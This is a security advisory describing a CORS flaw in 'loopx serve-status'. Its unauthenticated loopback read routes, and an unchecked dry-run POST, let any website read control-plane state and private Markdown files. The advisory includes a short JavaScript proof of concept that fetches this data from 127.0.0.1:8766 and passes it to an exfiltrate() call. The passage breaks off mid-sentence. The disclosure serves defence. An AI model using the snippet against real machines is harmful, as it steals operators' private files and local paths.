CVE-2026-108372

## Summary `loopx serve-status` sends `Access-Control-Allow-Origin: *` on **every** response, including its unauthenticated `GET` routes. Because the endpoint is unauthenticated and bound to a fixed, well-known loopback port, **any website the operator visits can read LoopX control-plane state and the contents of Markdown files inside every registered goal repo**, using a plain `fetch()` with no user interaction. The write endpoints are *not* affected — they are correctly Origin-checked. This report is strictly about the **read** paths. ## Impact While `loopx serve-status` is running, a page on any origin can run: ```js // no interaction, no preflight, no credentials needed const s = await (await fetch('http://127.0.0.1:8766/status.json')).json(); for (const g of s.goals ?? []) { const m = await (await fetch( `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md` )).json(); exfiltrate(m.content); } ``` and read back: * **`GET /status.json`** — the whole status projection: goal ids, run history, and local absolute paths (`registry`, `runtime_root`). With `--global-registry` this covers **every project registered on the machine**, not just one. * **`GET /review-material?goal_id=…&path=…`** — the *content* of any `.md`/`.markdown` file under a goal's repo root, state dir, or runtime dir. In practice that is the operator's private design notes, handoff docs, and evidence write-ups. * **`GET /`** — endpoint discovery, including which write APIs are enabled. * **`POST /control-plane/configure-goal/dry-run`** — this route has **no Origin check at all**, and `do_OPTIONS` returns `Access-Control-Allow-Headers: Content-Type`, so a cross-origin JSON POST passes preflight. The response leaks the `before`/`after` control-plane configuration for a goal. (It does not write — I verified `written=false`.) `docs/public-private-boundary.md` classifies "local absolute paths", "task ids", "raw logs and metrics" and "active goal state